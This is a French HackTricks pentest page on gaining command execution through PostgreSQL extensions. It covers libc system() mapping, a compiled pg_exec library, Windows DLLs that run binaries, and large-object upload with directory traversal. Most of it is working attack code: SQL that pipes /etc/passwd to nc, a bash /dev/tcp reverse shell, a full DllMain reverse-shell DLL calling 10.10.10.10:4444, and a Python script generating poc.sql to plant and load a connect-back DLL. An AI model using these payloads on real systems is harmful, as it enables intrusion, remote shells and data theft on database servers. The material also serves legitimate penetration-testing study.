# RCE avec les extensions PostgreSQL {{#include ../../../banners/hacktricks-training.md}} ## Extensions PostgreSQL PostgreSQL a été développé avec l'extensibilité comme caractéristique principale, lui permettant d'intégrer des extensions comme si elles étaient des fonctionnalités intégrées. Ces extensions, essentiellement des bibliothèques écrites en C, enrichissent la base de données avec des fonctions, des opérateurs ou des types supplémentaires. À partir de la version 8.1, une exigence spécifique est imposée aux bibliothèques d'extension : elles doivent être compilées avec un en-tête spécial. Sans cela, PostgreSQL ne les exécutera pas, garantissant que seules des extensions compatibles et potentiellement sécurisées sont utilisées. De plus, gardez à l'esprit que **si vous ne savez pas comment** [**télécharger des fichiers sur la victime en abusant de PostgreSQL, vous devriez lire ce post.**](big-binary-files-upload-postgresql.md) ### RCE sous Linux **Pour plus d'informations, consultez : [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)** L'exécution de commandes système depuis PostgreSQL 8.1 et les versions antérieures est un processus qui a été clairement documenté et qui est simple. Il est possible d'utiliser ce : [module Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload). ```sql CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; SELECT system('cat /etc/passwd | nc '); # You can also create functions to open and write files CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT; CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT; CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT; ```
Écrire un fichier binaire à partir de base64 Pour écrire un binaire dans un fichier dans postgres, vous pourriez avoir besoin d'utiliser base64, cela sera utile à cet égard : ```sql CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS $$ DECLARE fh int; s int; w bytea; i int; BEGIN SELECT open(textout(file)::cstring, 522, 448) INTO fh; IF fh <= 2 THEN RETURN 1; END IF; SELECT decode(s, 'base64') INTO w; i := 0; LOOP EXIT WHEN i >= octet_length(w); SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs; IF rs < 0 THEN RETURN 2; END IF; i := i + 1; END LOOP; SELECT close(fh) INTO rs; RETURN 0; END; $$ LANGUAGE 'plpgsql'; ```
Cependant, lorsqu'il a été tenté sur des versions supérieures **l'erreur suivante a été affichée** : ```c ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro. ``` Cette erreur est expliquée dans la [documentation PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html) : > Pour s'assurer qu'un fichier objet chargé dynamiquement n'est pas chargé dans un serveur incompatible, PostgreSQL vérifie que le fichier contient un "bloc magique" avec le contenu approprié. Cela permet au serveur de détecter des incompatibilités évidentes, telles que du code compilé pour une version majeure différente de PostgreSQL. Un bloc magique est requis depuis PostgreSQL 8.2. Pour inclure un bloc magique, écrivez ceci dans un (et un seul) des fichiers source du module, après avoir inclus l'en-tête fmgr.h : > > `#ifdef PG_MODULE_MAGIC`\ > `PG_MODULE_MAGIC;`\ > `#endif` Depuis la version 8.2 de PostgreSQL, le processus pour un attaquant d'exploiter le système a été rendu plus difficile. L'attaquant doit soit utiliser une bibliothèque déjà présente sur le système, soit télécharger une bibliothèque personnalisée. Cette bibliothèque personnalisée doit être compilée contre la version majeure compatible de PostgreSQL et doit inclure un "bloc magique" spécifique. Cette mesure augmente considérablement la difficulté d'exploiter les systèmes PostgreSQL, car elle nécessite une compréhension plus approfondie de l'architecture du système et de la compatibilité des versions. #### Compiler la bibliothèque Obtenez la version de PostgreSQL avec : ```sql SELECT version(); PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit ``` Pour la compatibilité, il est essentiel que les versions majeures s'alignent. Par conséquent, compiler une bibliothèque avec n'importe quelle version de la série 9.6.x devrait garantir une intégration réussie. Pour installer cette version sur votre système : ```bash apt install postgresql postgresql-server-dev-9.6 ``` Et compilez la bibliothèque : ```c //gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c #include #include "postgres.h" #include "fmgr.h" #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif PG_FUNCTION_INFO_V1(pg_exec); Datum pg_exec(PG_FUNCTION_ARGS) { char* command = PG_GETARG_CSTRING(0); PG_RETURN_INT32(system(command)); } ``` Ensuite, téléchargez la bibliothèque compilée et exécutez des commandes avec : ```bash CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT; SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'); #Notice the double single quotes are needed to scape the qoutes ``` Vous pouvez trouver cette **bibliothèque précompilée** pour plusieurs versions différentes de PostgreSQL et même **automatiser ce processus** (si vous avez accès à PostgreSQL) avec : {{#ref}} https://github.com/Dionach/pgexec {{#endref}} ### RCE sous Windows La DLL suivante prend en entrée le **nom du binaire** et le **nombre** de **fois** que vous souhaitez l'exécuter et l'exécute : ```c #include "postgres.h" #include #include "fmgr.h" #include "utils/geo_decls.h" #include #include "utils/builtins.h" #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif /* Add a prototype marked PGDLLEXPORT */ PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS); PG_FUNCTION_INFO_V1(pgsql_exec); /* this function launches the executable passed in as the first parameter in a FOR loop bound by the second parameter that is also passed*/ Datum pgsql_exec(PG_FUNCTION_ARGS) { /* convert text pointer to C string */ #define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp))) /* retrieve the second argument that is passed to the function (an integer) that will serve as our counter limit*/ int instances = PG_GETARG_INT32(1); for (int c = 0; c < instances; c++) { /*launch the process passed in the first parameter*/ ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1); } PG_RETURN_VOID(); } ``` Vous pouvez trouver le DLL compilé dans ce zip : {{#file}} pgsql_exec.zip {{#endfile}} Vous pouvez indiquer à ce DLL **quel binaire exécuter** et le nombre de fois à l'exécuter, dans cet exemple, il exécutera `calc.exe` 2 fois : ```bash CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT; SELECT remote_exec('calc.exe', 2); DROP FUNCTION remote_exec(text, integer); ``` Dans [**ici** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) vous pouvez trouver ce reverse-shell : ```c #define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10" #define PG_REVSHELL_CALLHOME_PORT "4444" #include "postgres.h" #include #include "fmgr.h" #include "utils/geo_decls.h" #include #pragma comment(lib,"ws2_32") #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif #pragma warning(push) #pragma warning(disable: 4996) #define _WINSOCK_DEPRECATED_NO_WARNINGS BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL, _In_ DWORD fdwReason, _In_ LPVOID lpvReserved) { WSADATA wsaData; SOCKET wsock; struct sockaddr_in server; char ip_addr[16]; STARTUPINFOA startupinfo; PROCESS_INFORMATION processinfo; char *program = "cmd.exe"; const char *ip = PG_REVSHELL_CALLHOME_SERVER; u_short port = atoi(PG_REVSHELL_CALLHOME_PORT); WSAStartup(MAKEWORD(2, 2), &wsaData); wsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); struct hostent *host; host = gethostbyname(ip); strcpy_s(ip_addr, sizeof(ip_addr), inet_ntoa(*((struct in_addr *)host->h_addr))); server.sin_family = AF_INET; server.sin_port = htons(port); server.sin_addr.s_addr = inet_addr(ip_addr); WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server), NULL, NULL, NULL, NULL); memset(&startupinfo, 0, sizeof(startupinfo)); startupinfo.cb = sizeof(startupinfo); startupinfo.dwFlags = STARTF_USESTDHANDLES; startupinfo.hStdInput = startupinfo.hStdOutput = startupinfo.hStdError = (HANDLE)wsock; CreateProcessA(NULL, program, NULL, NULL, TRUE, 0, NULL, NULL, &startupinfo, &processinfo); return TRUE; } #pragma warning(pop) /* re-enable 4996 */ /* Add a prototype marked PGDLLEXPORT */ PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS); PG_FUNCTION_INFO_V1(add_one); Datum dummy_function(PG_FUNCTION_ARGS) { int32 arg = PG_GETARG_INT32(0); PG_RETURN_INT32(arg + 1); } ``` Notez comment dans ce cas le **code malveillant est à l'intérieur de la fonction DllMain**. Cela signifie que dans ce cas, il n'est pas nécessaire d'exécuter la fonction chargée dans postgresql, il suffit de **charger le DLL** pour **exécuter** le reverse shell : ```c CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT; ``` Le [PolyUDF project](https://github.com/rop-la/PolyUDF) est également un bon point de départ avec le projet complet MS Visual Studio et une bibliothèque prête à l'emploi (y compris : _command eval_, _exec_ et _cleanup_) avec support multiversion. ### RCE dans les dernières versions de PostgreSQL Dans les **dernières versions** de PostgreSQL, des restrictions ont été imposées où le `superuser` est **interdit** de **charger** des fichiers de bibliothèque partagée sauf depuis des répertoires spécifiques, tels que `C:\Program Files\PostgreSQL\11\lib` sur Windows ou `/var/lib/postgresql/11/lib` sur les systèmes \*nix. Ces répertoires sont **sécurisés** contre les opérations d'écriture par les comptes NETWORK_SERVICE ou postgres. Malgré ces restrictions, il est possible pour un `superuser` de base de données authentifié de **crire des fichiers binaires** sur le système de fichiers en utilisant des "objets volumineux". Cette capacité s'étend à l'écriture dans le répertoire `C:\Program Files\PostgreSQL\11\data`, qui est essentiel pour les opérations de base de données comme la mise à jour ou la création de tables. Une vulnérabilité significative découle de la commande `CREATE FUNCTION`, qui **permet le parcours de répertoire** dans le répertoire de données. Par conséquent, un attaquant authentifié pourrait **exploiter ce parcours** pour écrire un fichier de bibliothèque partagée dans le répertoire de données et ensuite **le charger**. Cette exploitation permet à l'attaquant d'exécuter du code arbitraire, atteignant l'exécution de code natif sur le système. #### Flux d'attaque Tout d'abord, vous devez **utiliser des objets volumineux pour télécharger le dll**. Vous pouvez voir comment faire cela ici : {{#ref}} big-binary-files-upload-postgresql.md {{#endref}} Une fois que vous avez téléchargé l'extension (avec le nom de poc.dll pour cet exemple) dans le répertoire de données, vous pouvez la charger avec : ```c create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict; select connect_back('192.168.100.54', 1234); ``` _Remarque que tu n'as pas besoin d'ajouter l'extension `.dll` car la fonction de création l'ajoutera._ Pour plus d'informations, **lis la** [**publication originale ici**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\ Dans cette publication, **c'était le** [**code utilisé pour générer l'extension postgres**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_pour apprendre à compiler une extension postgres, lis n'importe quelle des versions précédentes_).\ Sur la même page, cet **exploit pour automatiser** cette technique a été donné : ```python #!/usr/bin/env python3 import sys if len(sys.argv) != 4: print("(+) usage %s " % sys.argv[0]) print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0]) sys.exit(1) host = sys.argv[1] port = int(sys.argv[2]) lib = sys.argv[3] with open(lib, "rb") as dll: d = dll.read() sql = "select lo_import('C:/Windows/win.ini', 1337);" for i in range(0, len(d)//2048): start = i * 2048 end = (i+1) * 2048 if i == 0: sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex()) else: sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex()) if (len(d) % 2048) != 0: end = (i+1) * 2048 sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex()) sql += "select lo_export(1337, 'poc.dll');" sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;" sql += "select connect_back('%s', %d);" % (host, port) print("(+) building poc.sql file") with open("poc.sql", "w") as sqlfile: sqlfile.write(sql) print("(+) run poc.sql in PostgreSQL using the superuser") print("(+) for a db cleanup only, run the following sql:") print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;") print(" drop function connect_back(text, integer);") ``` ## Références - [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/) - [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084) {{#include ../../../banners/hacktricks-training.md}}